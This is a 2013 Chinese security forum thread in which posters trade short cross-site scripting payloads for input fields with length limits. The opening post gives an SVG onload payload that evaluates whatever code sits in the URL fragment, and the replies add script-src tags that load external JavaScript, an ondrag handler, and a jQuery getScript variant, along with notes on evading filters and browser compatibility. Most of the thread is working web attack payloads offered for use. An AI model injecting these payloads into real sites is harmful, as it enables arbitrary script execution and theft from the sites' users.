把储存型XSS变成反射型XSS 突破长度限制
LaiX ([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+) | 2013-09-17 19:08
如果我们遇到了有长度限制怎么办?难道就真的无法利用然后放弃吗?其实我们可以将有限空间发挥出无限的威力。我最近研究了一种 把储存型XSS变成反射型XSS 的思路。但是你输入的地方最少要支持 46 个字符。
代码如下:
<svg/onload=eval(location.hash.split('#')[1])>
将上面这段代码插入至少可以输入46个字符的地方,然后访问
http://example.com/#alert();
或者
http://example.com/#(加载一段外部JS)
即可执行无限长度JS代码 , 缺点就是变成了反射型,好消息是兼容所有浏览器,不会被浏览器的Filter干掉
如果各位看官还有更短的姿势,欢迎共享讨论。
相关讨论:
1#
VIP (Fatal error: Call to undefined function getwb() in /data1/www/htdocs/106/wzone/1/index.php on line 10|@齐迹@小胖子@z7y@nauscript|昨晚做梦梦见了一个ecshop注射0day,醒来后忘记在哪了。|预留广告位) | 2013-09-17 19:09
乌云知识库里有挺多很短的
Short XSS
2#
LaiX ([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+) | 2013-09-17 19:12
@VIP 那个我看过了,挺不错的
3#
国士无双 (你这个是跟我闹呐?) | 2013-09-17 19:52
@VIP 不错!
4#
0x0F (苍井空与孙悟空的故事.mp4) | 2013-09-17 19:53
46个字符还用得着那样搞么。。
5#
LaiX ([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+) | 2013-09-17 19:56
@0x0F">0x0F 莫非大牛还有比46个字符能加载外部JS还要短的姿势?
6#
F1n9er (///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////) | 2013-09-17 19:56
我就想知道20个字符以内的怎么办
7#
LaiX ([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+) | 2013-09-17 19:57
@F1n9er 我才疏学浅暂未想到
8#
0x0F (苍井空与孙悟空的故事.mp4) | 2013-09-17 20:38
@LaiX @F1n9er 怎么看文章不看回复么。
还有46个字符直接用script加载吧?
<script src=//x.xx
19
9#
LaiX ([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+) | 2013-09-17 20:55
are you kidding me? 你自己先试试再说吧。
10#
LaiX ([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+) | 2013-09-17 20:56
@0x0F">0x0F .
11#
0x0F (苍井空与孙悟空的故事.mp4) | 2013-09-17 21:01
@LaiX 你可以试试。别忘了后面有空格
12#
beastk | 2013-09-17 21:21
46个字符了差不多了吧,<script/src=http://test.com/js.js></script>,这个才43个字符,配上短URL,还有你这个针对IE6-8有用不?
13#
LaiX ([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+) | 2013-09-17 21:24
@beastk 你这个有个缺点如果过滤script , 另外那个 IE6-8可以的
14#
银冥币 (养成了一个习惯.见框就x,见站就x,我爱X?) | 2013-09-17 21:25
@beastk @0x0F">0x0F LaiX提出的这个是一个设想,目的只是讨论去完善它而已不用太较真
15#
0x0F (苍井空与孙悟空的故事.mp4) | 2013-09-17 21:38
实践是检验真理的唯一标准。
FF测试有效,其他浏览器自测
16#
beastk | 2013-09-17 22:49
IE6-8你确定有效么,测试了么
17#
乌帽子 (儿啊,到大城市切莫乱搞女人啊,染上什么病回来传染给) | 2013-09-17 22:54
location.hash不错的思路
18#
mramydnei | 2013-09-18 03:59
@F1n9er
如果只论短的话,我觉得我这个是最短的
<b/ondrag=alert()> 没有win环境,借朋友的小vps试了一下,IE可执行 以上版本就不知道了。
19#
mramydnei | 2013-09-18 04:00
@F1n9er 才发现漏字了 IE6可执行,以上版本未测试。
20#
mramydnei | 2013-09-18 04:19
@ F1n9er
又丢三落四的了。少了个东西。
<b/ondrag=alert()>x
21#
0x0F (苍井空与孙悟空的故事.mp4) | 2013-09-18 06:26
@LaiX 程序员只会过滤script么。
22#
小森森 | 2013-09-18 09:01
要是有jQuery就是$.getScript(url)了……
23#
小九 | 2013-09-18 15:13
有点长
24#
iv4n | 2013-09-18 15:38
我觉得lz重点不是短,而是#, 其实这个#,很有用,首先不会保存到服务器,而且能绕过检测。
25#
LaiX ([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+) | 2013-09-18 18:18
@iv4n 他们都在想尽一切办法反驳我 只有你发现了我的初衷